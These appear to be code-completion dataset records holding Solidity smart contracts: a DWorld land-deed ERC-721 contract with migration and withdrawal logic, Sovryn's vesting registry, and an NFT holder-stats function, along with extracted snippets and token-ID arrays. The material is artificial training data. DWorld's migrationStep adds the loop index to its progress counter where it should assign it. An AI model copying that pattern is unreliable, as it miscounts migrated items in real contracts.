ownership of a deed. /// @param _to The address to approve taking owernship. /// @param _deedId The identifier of the deed to give approval for. /// @dev Required for ERC-721 compliance. function approve(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; approveMultiple(_to, _deedIds); } /// @notice Approve a given address to take ownership of multiple deeds. /// @param _to The address to approve taking ownership. /// @param _deedIds The identifiers of the deeds to give approval for. function approveMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Ensure the sender is not approving themselves. require(msg.sender != _to); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // Require the sender is the owner of the deed. require(_owns(msg.sender, _deedId)); // Perform the approval. _approve(msg.sender, _to, _deedId); } } /// @notice Transfer a deed to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721, or your /// deed may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedId The identifier of the deed to transfer. /// @dev Required for ERC-721 compliance. function transfer(address _to, uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; transferMultiple(_to, _deedIds); } /// @notice Transfers multiple deeds to another address. If transferring to /// a smart contract be VERY CAREFUL to ensure that it is aware of ERC-721, /// or your deeds may be lost forever. /// @param _to The address of the recipient, can be a user or contract. /// @param _deedIds The identifiers of the deeds to transfer. function transferMultiple(address _to, uint256[] _deedIds) public whenNotPaused { // Safety check to prevent against an unexpected 0x0 default. require(_to != address(0)); // Disallow transfers to this contract to prevent accidental misuse. require(_to != address(this)); for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; // One can only transfer their own plots. require(_owns(msg.sender, _deedId)); // Transfer ownership _transfer(msg.sender, _to, _deedId); } } /// @notice Transfer a deed owned by another address, for which the calling /// address has previously been granted transfer approval by the owner. /// @param _deedId The identifier of the deed to be transferred. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _deedId) external whenNotPaused { uint256[] memory _deedIds = new uint256[](1); _deedIds[0] = _deedId; takeOwnershipMultiple(_deedIds); } /// @notice Transfer multiple deeds owned by another address, for which the /// calling address has previously been granted transfer approval by the owner. /// @param _deedIds The identifier of the deed to be transferred. function takeOwnershipMultiple(uint256[] _deedIds) public whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; address _from = identifierToOwner[_deedId]; // Check for transfer approval require(_approvedFor(msg.sender, _deedId)); // Reassign ownership (also clears pending approvals and emits Transfer event). _transfer(_from, msg.sender, _deedId); } } /// @notice Returns a list of all deed identifiers assigned to an address. /// @param _owner The owner whose deeds we are interested in. /// @dev This method MUST NEVER be called by smart contract code. It's very /// expensive and is not supported in contract-to-contract calls as it returns /// a dynamic array (only supported for web3 calls). function deedsOfOwner(address _owner) external view returns(uint256[]) { uint256 deedCount = countOfDeedsByOwner(_owner); if (deedCount == 0) { // Return an empty array. return new uint256[](0); } else { uint256[] memory result = new uint256[](deedCount); uint256 totalDeeds = countOfDeeds(); uint256 resultIndex = 0; for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { result[resultIndex] = identifier; resultIndex++; } } return result; } } /// @notice Returns a deed identifier of the owner at the given index. /// @param _owner The address of the owner we want to get a deed for. /// @param _index The index of the deed we want. function deedOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256) { // The index should be valid. require(_index < countOfDeedsByOwner(_owner)); // Loop through all plots, accounting the number of plots of the owner we've seen. uint256 seen = 0; uint256 totalDeeds = countOfDeeds(); for (uint256 deedNumber = 0; deedNumber < totalDeeds; deedNumber++) { uint256 identifier = plots[deedNumber]; if (identifierToOwner[identifier] == _owner) { if (seen == _index) { return identifier; } seen++; } } } /// @notice Returns an (off-chain) metadata url for the given deed. /// @param _deedId The identifier of the deed to get the metadata /// url for. /// @dev Implementation of optional ERC-721 functionality. function deedUri(uint256 _deedId) external pure returns (string uri) { require(validIdentifier(_deedId)); var (x, y) = identifierToCoordinate(_deedId); // Maximum coordinate length in decimals is 5 (65535) uri = "https://dworld.io/plot/xxxxx/xxxxx"; bytes memory _uri = bytes(uri); for (uint256 i = 0; i < 5; i++) { _uri[27 - i] = byte(48 + (x / 10 ** i) % 10); _uri[33 - i] = byte(48 + (y / 10 ** i) % 10); } } } /// @dev Migrate original data from the old contract. contract DWorldUpgrade is DWorldMinting { OriginalDWorldDeed originalContract; ClockAuction originalSaleAuction; ClockAuction originalRentAuction; /// @notice Keep track of whether we have finished migrating. bool public migrationFinished = false; /// @dev Keep track of how many plots have been transferred so far. uint256 migrationNumPlotsTransferred = 0; function DWorldUpgrade( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress ) public { if (originalContractAddress != 0) { _startMigration(originalContractAddress, originalSaleAuctionAddress, originalRentAuctionAddress); } else { migrationFinished = true; } } /// @dev Migrate data from the original contract. Assumes the original /// contract is paused, and remains paused for the duration of the /// migration. /// @param originalContractAddress The address of the original contract. function _startMigration( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress ) internal { // Set contracts. originalContract = OriginalDWorldDeed(originalContractAddress); originalSaleAuction = ClockAuction(originalSaleAuctionAddress); originalRentAuction = ClockAuction(originalRentAuctionAddress); // Start paused. paused = true; // Get count of original plots. uint256 numPlots = originalContract.countOfDeeds(); // Allocate storage for the plots array (this is more // efficient than .push-ing each individual plot, as // that requires multiple dynamic allocations). plots.length = numPlots; } function migrationStep(uint256 numPlotsTransfer) external onlyOwner whenPaused { // Migration must not be finished yet. require(!migrationFinished); // Get count of original plots. uint256 numPlots = originalContract.countOfDeeds(); // Loop through plots and assign to original owner. uint256 i; for (i = migrationNumPlotsTransferred; i < numPlots && i < migrationNumPlotsTransferred + numPlotsTransfer; i++) { uint32 _deedId = originalContract.plots(i); // Set plot. plots[i] = _deedId; // Get the original owner and transfer. address owner = originalContract.ownerOf(_deedId); // If the owner of the plot is an auction contract, // get the actual owner of the plot. address seller; if (owner == address(originalSaleAuction)) { (seller, ) = originalSaleAuction.getAuction(_deedId); owner = seller; } else if (owner == address(originalRentAuction)) { (seller, ) = originalRentAuction.getAuction(_deedId); owner = seller; } _transfer(address(0), owner, _deedId); // Set the initial price paid for the plot. initialPricePaid[_deedId] = 0.0125 ether; // The initial buyout price. uint256 _initialBuyoutPrice = 0.050 ether; // Set the initial buyout price. identifierToBuyoutPrice[_deedId] = _initialBuyoutPrice; // Trigger the buyout price event. SetBuyoutPrice(_deedId, _initialBuyoutPrice); // Mark the plot as being an original. identifierIsOriginal[_deedId] = true; } migrationNumPlotsTransferred += i; // Finished migration. if (i == numPlots) { migrationFinished = true; } } } /// @dev Implements highest-level DWorld functionality. contract DWorldCore is DWorldUpgrade { /// If this contract is broken, this will be used to publish the address at which an upgraded contract can be found address public upgradedContractAddress; event ContractUpgrade(address upgradedContractAddress); function DWorldCore( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress, uint256 buyoutsEnabledAfterHours ) DWorldUpgrade(originalContractAddress, originalSaleAuctionAddress, originalRentAuctionAddress) public { buyoutsEnabledFromTimestamp = block.timestamp + buyoutsEnabledAfterHours * 3600; } /// @notice Only to be used when this contract is significantly broken, /// and an upgrade is required. function setUpgradedContractAddress(address _upgradedContractAddress) external onlyOwner whenPaused { upgradedContractAddress = _upgradedContractAddress; ContractUpgrade(_upgradedContractAddress); } /// @notice Set the data associated with a plot. function setPlotData(uint256 _deedId, string name, string description, string imageUrl, string infoUrl) public whenNotPaused { // The sender requesting the data update should be // the owner. require(_owns(msg.sender, _deedId)); // Set the data _setPlotData(_deedId, name, description, imageUrl, infoUrl); } /// @notice Set the data associated with multiple plots. function setPlotDataMultiple(uint256[] _deedIds, string name, string description, string imageUrl, string infoUrl) external whenNotPaused { for (uint256 i = 0; i < _deedIds.length; i++) { uint256 _deedId = _deedIds[i]; setPlotData(_deedId, name, description, imageUrl, infoUrl); } } /// @notice Withdraw Ether owed to the sender. function withdrawBalance() external { uint256 etherOwed = addressToEtherOwed[msg.sender]; // Ensure Ether is owed to the sender. require(etherOwed > 0); // Set Ether owed to 0. delete addressToEtherOwed[msg.sender]; // Subtract from total outstanding balance. etherOwed is guaranteed // to be less than or equal to outstandingEther, so this cannot // underflow. outstandingEther -= etherOwed; // Transfer Ether owed to the sender (not susceptible to re-entry // attack, as the Ether owed is set to 0 before the transfer takes place). msg.sender.transfer(etherOwed); } /// @notice Withdraw (unowed) contract balance. function withdrawFreeBalance() external onlyCFO { // Calculate the free (unowed) balance. This never underflows, as // outstandingEther is guaranteed to be less than or equal to the // contract balance. uint256 freeBalance = this.balance - outstandingEther; cfoAddress.transfer(freeBalance); } }
@dev Migrate data from the original contract. Assumes the original contract is paused, and remains paused for the duration of the migration. @param originalContractAddress The address of the original contract. Set contracts. Start paused. Get count of original plots. Allocate storage for the plots array (this is more efficient than .push-ing each individual plot, as that requires multiple dynamic allocations).
function _startMigration( address originalContractAddress, address originalSaleAuctionAddress, address originalRentAuctionAddress ) internal { originalContract = OriginalDWorldDeed(originalContractAddress); originalSaleAuction = ClockAuction(originalSaleAuctionAddress); originalRentAuction = ClockAuction(originalRentAuctionAddress); paused = true; uint256 numPlots = originalContract.countOfDeeds(); plots.length = numPlots; }
15,801,664
[ 1, 19594, 501, 628, 326, 2282, 6835, 18, 25374, 326, 2282, 6835, 353, 17781, 16, 471, 22632, 17781, 364, 326, 3734, 434, 326, 6333, 18, 225, 2282, 8924, 1887, 1021, 1758, 434, 326, 2282, 6835, 18, 1000, 20092, 18, 3603, 17781, 18, 968, 1056, 434, 2282, 17931, 18, 22222, 2502, 364, 326, 17931, 526, 261, 2211, 353, 1898, 14382, 2353, 263, 6206, 17, 310, 1517, 7327, 3207, 16, 487, 716, 4991, 3229, 5976, 23804, 2934, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1937, 10224, 12, 203, 3639, 1758, 2282, 8924, 1887, 16, 203, 3639, 1758, 2282, 30746, 37, 4062, 1887, 16, 203, 3639, 1758, 2282, 54, 319, 37, 4062, 1887, 203, 565, 262, 203, 3639, 2713, 203, 565, 288, 203, 3639, 2282, 8924, 273, 19225, 40, 18071, 758, 329, 12, 8830, 8924, 1887, 1769, 203, 3639, 2282, 30746, 37, 4062, 273, 18051, 37, 4062, 12, 8830, 30746, 37, 4062, 1887, 1769, 203, 3639, 2282, 54, 319, 37, 4062, 273, 18051, 37, 4062, 12, 8830, 54, 319, 37, 4062, 1887, 1769, 203, 540, 203, 3639, 17781, 273, 638, 31, 203, 540, 203, 3639, 2254, 5034, 818, 29311, 273, 2282, 8924, 18, 1883, 951, 758, 9765, 5621, 203, 540, 203, 3639, 17931, 18, 2469, 273, 818, 29311, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.17; pragma experimental ABIEncoderV2; import "../../interfaces/IERC20.sol"; import "../IFeeSharingProxy.sol"; import "./IVesting.sol"; import "./ITeamVesting.sol"; import "./VestingRegistryStorage.sol"; contract VestingRegistryLogic is VestingRegistryStorage { event SOVTransferred(address indexed receiver, uint256 amount); event VestingCreated( address indexed tokenOwner, address vesting, uint256 cliff, uint256 duration, uint256 amount, uint256 vestingCreationType ); event TeamVestingCreated( address indexed tokenOwner, address vesting, uint256 cliff, uint256 duration, uint256 amount, uint256 vestingCreationType ); event TokensStaked(address indexed vesting, uint256 amount); /** * @notice Replace constructor with initialize function for Upgradable Contracts * This function will be called only once by the owner * */ function initialize( address _vestingFactory, address _SOV, address _staking, address _feeSharingProxy, address _vestingOwner, address _lockedSOV, address[] calldata _vestingRegistries ) external onlyOwner initializer { require(_SOV != address(0), "SOV address invalid"); require(_staking != address(0), "staking address invalid"); require(_feeSharingProxy != address(0), "feeSharingProxy address invalid"); require(_vestingOwner != address(0), "vestingOwner address invalid"); require(_lockedSOV != address(0), "LockedSOV address invalid"); _setVestingFactory(_vestingFactory); SOV = _SOV; staking = _staking; feeSharingProxy = _feeSharingProxy; vestingOwner = _vestingOwner; lockedSOV = LockedSOV(_lockedSOV); for (uint256 i = 0; i < _vestingRegistries.length; i++) { require(_vestingRegistries[i] != address(0), "Vesting registry address invalid"); vestingRegistries.push(IVestingRegistry(_vestingRegistries[i])); } } /** * @notice sets vesting factory address * @param _vestingFactory the address of vesting factory contract */ function setVestingFactory(address _vestingFactory) external onlyOwner { _setVestingFactory(_vestingFactory); } /** * @notice Internal function that sets vesting factory address * @param _vestingFactory the address of vesting factory contract */ function _setVestingFactory(address _vestingFactory) internal { require(_vestingFactory != address(0), "vestingFactory address invalid"); vestingFactory = IVestingFactory(_vestingFactory); } /** * @notice transfers SOV tokens to given address * @param _receiver the address of the SOV receiver * @param _amount the amount to be transferred */ function transferSOV(address _receiver, uint256 _amount) external onlyOwner { require(_receiver != address(0), "receiver address invalid"); require(_amount != 0, "amount invalid"); require(IERC20(SOV).transfer(_receiver, _amount), "transfer failed"); emit SOVTransferred(_receiver, _amount); } /** * @notice adds vestings that were deployed in previous vesting registries * @dev migration of data from previous vesting registy contracts */ function addDeployedVestings( address[] calldata _tokenOwners, uint256[] calldata _vestingCreationTypes ) external onlyAuthorized { for (uint256 i = 0; i < _tokenOwners.length; i++) { require(_tokenOwners[i] != address(0), "token owner cannot be 0 address"); require(_vestingCreationTypes[i] > 0, "vesting creation type must be greater than 0"); _addDeployedVestings(_tokenOwners[i], _vestingCreationTypes[i]); } } /** * @notice creates Vesting contract * @param _tokenOwner the owner of the tokens * @param _amount the amount to be staked * @param _cliff the cliff in seconds * @param _duration the total duration in seconds * @dev Calls a public createVestingAddr function with vestingCreationType. This is to accomodate the existing logic for LockedSOV * @dev vestingCreationType 0 = LockedSOV */ function createVesting( address _tokenOwner, uint256 _amount, uint256 _cliff, uint256 _duration ) external onlyAuthorized { createVestingAddr(_tokenOwner, _amount, _cliff, _duration, 3); } /** * @notice creates Vesting contract * @param _tokenOwner the owner of the tokens * @param _amount the amount to be staked * @param _cliff the cliff in seconds * @param _duration the total duration in seconds * @param _vestingCreationType the type of vesting created(e.g. Origin, Bug Bounty etc.) */ function createVestingAddr( address _tokenOwner, uint256 _amount, uint256 _cliff, uint256 _duration, uint256 _vestingCreationType ) public onlyAuthorized { address vesting = _getOrCreateVesting( _tokenOwner, _cliff, _duration, uint256(VestingType.Vesting), _vestingCreationType ); emit VestingCreated( _tokenOwner, vesting, _cliff, _duration, _amount, _vestingCreationType ); } /** * @notice creates Team Vesting contract * @param _tokenOwner the owner of the tokens * @param _amount the amount to be staked * @param _cliff the cliff in seconds * @param _duration the total duration in seconds * @param _vestingCreationType the type of vesting created(e.g. Origin, Bug Bounty etc.) */ function createTeamVesting( address _tokenOwner, uint256 _amount, uint256 _cliff, uint256 _duration, uint256 _vestingCreationType ) external onlyAuthorized { address vesting = _getOrCreateVesting( _tokenOwner, _cliff, _duration, uint256(VestingType.TeamVesting), _vestingCreationType ); emit TeamVestingCreated( _tokenOwner, vesting, _cliff, _duration, _amount, _vestingCreationType ); } /** * @notice stakes tokens according to the vesting schedule * @param _vesting the address of Vesting contract * @param _amount the amount of tokens to stake */ function stakeTokens(address _vesting, uint256 _amount) external onlyAuthorized { require(_vesting != address(0), "vesting address invalid"); require(_amount > 0, "amount invalid"); IERC20(SOV).approve(_vesting, _amount); IVesting(_vesting).stakeTokens(_amount); emit TokensStaked(_vesting, _amount); } /** * @notice returns vesting contract address for the given token owner * @param _tokenOwner the owner of the tokens * @dev Calls a public getVestingAddr function with cliff and duration. This is to accomodate the existing logic for LockedSOV * @dev We need to use LockedSOV.changeRegistryCliffAndDuration function very judiciously * @dev vestingCreationType 0 - LockedSOV */ function getVesting(address _tokenOwner) public view returns (address) { return getVestingAddr(_tokenOwner, lockedSOV.cliff(), lockedSOV.duration(), 3); } /** * @notice public function that returns vesting contract address for the given token owner, cliff, duration * @dev Important: Please use this instead of getVesting function */ function getVestingAddr( address _tokenOwner, uint256 _cliff, uint256 _duration, uint256 _vestingCreationType ) public view returns (address) { uint256 type_ = uint256(VestingType.Vesting); uint256 uid = uint256( keccak256( abi.encodePacked(_tokenOwner, type_, _cliff, _duration, _vestingCreationType) ) ); return vestings[uid].vestingAddress; } /** * @notice returns team vesting contract address for the given token owner, cliff, duration */ function getTeamVesting( address _tokenOwner, uint256 _cliff, uint256 _duration, uint256 _vestingCreationType ) public view returns (address) { uint256 type_ = uint256(VestingType.TeamVesting); uint256 uid = uint256( keccak256( abi.encodePacked(_tokenOwner, type_, _cliff, _duration, _vestingCreationType) ) ); return vestings[uid].vestingAddress; } /** * @notice Internal function to deploy Vesting/Team Vesting contract * @param _tokenOwner the owner of the tokens * @param _cliff the cliff in seconds * @param _duration the total duration in seconds * @param _type the type of vesting * @param _vestingCreationType the type of vesting created(e.g. Origin, Bug Bounty etc.) */ function _getOrCreateVesting( address _tokenOwner, uint256 _cliff, uint256 _duration, uint256 _type, uint256 _vestingCreationType ) internal returns (address) { address vesting; uint256 uid = uint256( keccak256( abi.encodePacked(_tokenOwner, _type, _cliff, _duration, _vestingCreationType) ) ); if (vestings[uid].vestingAddress == address(0)) { if (_type == 1) { vesting = vestingFactory.deployVesting( SOV, staking, _tokenOwner, _cliff, _duration, feeSharingProxy, _tokenOwner ); } else { vesting = vestingFactory.deployTeamVesting( SOV, staking, _tokenOwner, _cliff, _duration, feeSharingProxy, vestingOwner ); } vestings[uid] = Vesting(_type, _vestingCreationType, vesting); vestingsOf[_tokenOwner].push(uid); isVesting[vesting] = true; } return vestings[uid].vestingAddress; } /** * @notice stores the addresses of Vesting contracts from all three previous versions of Vesting Registry */ function _addDeployedVestings(address _tokenOwner, uint256 _vestingCreationType) internal { uint256 uid; uint256 i = _vestingCreationType - 1; address vestingAddress = vestingRegistries[i].getVesting(_tokenOwner); if (vestingAddress != address(0)) { VestingLogic vesting = VestingLogic(vestingAddress); uid = uint256( keccak256( abi.encodePacked( _tokenOwner, uint256(VestingType.Vesting), vesting.cliff(), vesting.duration(), _vestingCreationType ) ) ); vestings[uid] = Vesting( uint256(VestingType.Vesting), _vestingCreationType, vestingAddress ); vestingsOf[_tokenOwner].push(uid); isVesting[vestingAddress] = true; } address teamVestingAddress = vestingRegistries[i].getTeamVesting(_tokenOwner); if (teamVestingAddress != address(0)) { VestingLogic vesting = VestingLogic(teamVestingAddress); uid = uint256( keccak256( abi.encodePacked( _tokenOwner, uint256(VestingType.TeamVesting), vesting.cliff(), vesting.duration(), _vestingCreationType ) ) ); vestings[uid] = Vesting( uint256(VestingType.TeamVesting), _vestingCreationType, teamVestingAddress ); vestingsOf[_tokenOwner].push(uid); isVesting[teamVestingAddress] = true; } } /** * @notice returns all vesting details for the given token owner */ function getVestingsOf(address _tokenOwner) external view returns (Vesting[] memory) { uint256[] memory vestingIds = vestingsOf[_tokenOwner]; uint256 length = vestingIds.length; Vesting[] memory _vestings = new Vesting[](vestingIds.length); for (uint256 i = 0; i < length; i++) { _vestings[i] = vestings[vestingIds[i]]; } return _vestings; } /** * @notice returns cliff and duration for Vesting & TeamVesting contracts */ function getVestingDetails(address _vestingAddress) external view returns (uint256 cliff, uint256 duration) { VestingLogic vesting = VestingLogic(_vestingAddress); return (vesting.cliff(), vesting.duration()); } /** * @notice returns if the address is a vesting address */ function isVestingAdress(address _vestingAddress) external view returns (bool isVestingAddr) { return isVesting[_vestingAddress]; } }
* @notice Replace constructor with initialize function for Upgradable Contracts This function will be called only once by the owner /
) external onlyOwner initializer { require(_SOV != address(0), "SOV address invalid"); require(_staking != address(0), "staking address invalid"); require(_feeSharingProxy != address(0), "feeSharingProxy address invalid"); require(_vestingOwner != address(0), "vestingOwner address invalid"); require(_lockedSOV != address(0), "LockedSOV address invalid"); _setVestingFactory(_vestingFactory); SOV = _SOV; staking = _staking; feeSharingProxy = _feeSharingProxy; vestingOwner = _vestingOwner; lockedSOV = LockedSOV(_lockedSOV); for (uint256 i = 0; i < _vestingRegistries.length; i++) { require(_vestingRegistries[i] != address(0), "Vesting registry address invalid"); vestingRegistries.push(IVestingRegistry(_vestingRegistries[i])); } }
12,800,551
[ 1, 5729, 3885, 598, 4046, 445, 364, 1948, 9974, 429, 30131, 1220, 445, 903, 506, 2566, 1338, 3647, 635, 326, 3410, 342, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 3903, 1338, 5541, 12562, 288, 203, 3639, 2583, 24899, 3584, 58, 480, 1758, 12, 20, 3631, 315, 3584, 58, 1758, 2057, 8863, 203, 3639, 2583, 24899, 334, 6159, 480, 1758, 12, 20, 3631, 315, 334, 6159, 1758, 2057, 8863, 203, 3639, 2583, 24899, 21386, 22897, 3886, 480, 1758, 12, 20, 3631, 315, 21386, 22897, 3886, 1758, 2057, 8863, 203, 3639, 2583, 24899, 90, 10100, 5541, 480, 1758, 12, 20, 3631, 315, 90, 10100, 5541, 1758, 2057, 8863, 203, 3639, 2583, 24899, 15091, 3584, 58, 480, 1758, 12, 20, 3631, 315, 8966, 3584, 58, 1758, 2057, 8863, 203, 203, 3639, 389, 542, 58, 10100, 1733, 24899, 90, 10100, 1733, 1769, 203, 3639, 7460, 58, 273, 389, 3584, 58, 31, 203, 3639, 384, 6159, 273, 389, 334, 6159, 31, 203, 3639, 14036, 22897, 3886, 273, 389, 21386, 22897, 3886, 31, 203, 3639, 331, 10100, 5541, 273, 389, 90, 10100, 5541, 31, 203, 3639, 8586, 3584, 58, 273, 3488, 329, 3584, 58, 24899, 15091, 3584, 58, 1769, 203, 3639, 364, 261, 11890, 5034, 277, 273, 374, 31, 277, 411, 389, 90, 10100, 1617, 22796, 18, 2469, 31, 277, 27245, 288, 203, 5411, 2583, 24899, 90, 10100, 1617, 22796, 63, 77, 65, 480, 1758, 12, 20, 3631, 315, 58, 10100, 4023, 1758, 2057, 8863, 203, 5411, 331, 10100, 1617, 22796, 18, 6206, 12, 8188, 10100, 4243, 24899, 90, 10100, 1617, 22796, 63, 77, 5717, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/5/0x47a6E6772D176DB48001A966975775eea590c9CE/sources/contracts/NFTInfo.sol
Returns stats based off 1) numholders based off the number of wrappers 2) The length of the array with addresss of wrappers 3) The number of current blockedNFT's
function getNumHolders(uint256 _feed) external view returns (uint256) { uint256 temp; if (_feed == 1) { temp = numholders; } if (_feed == 2) { temp = holderaddresses.length; } if (_feed == 3) { temp = blockednfts.length; } return temp; }
1,853,732
[ 1, 1356, 3177, 2511, 3397, 404, 13, 818, 9000, 2511, 3397, 326, 1300, 434, 21589, 576, 13, 1021, 769, 434, 326, 526, 598, 1758, 87, 434, 21589, 890, 13, 1021, 1300, 434, 783, 14547, 50, 4464, 1807, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11187, 27003, 12, 11890, 5034, 389, 7848, 13, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 1906, 31, 203, 3639, 309, 261, 67, 7848, 422, 404, 13, 288, 203, 5411, 1906, 273, 818, 9000, 31, 203, 3639, 289, 203, 3639, 309, 261, 67, 7848, 422, 576, 13, 288, 203, 5411, 1906, 273, 10438, 13277, 18, 2469, 31, 203, 3639, 289, 203, 3639, 309, 261, 67, 7848, 422, 890, 13, 288, 203, 5411, 1906, 273, 14547, 82, 1222, 87, 18, 2469, 31, 203, 3639, 289, 203, 3639, 327, 1906, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
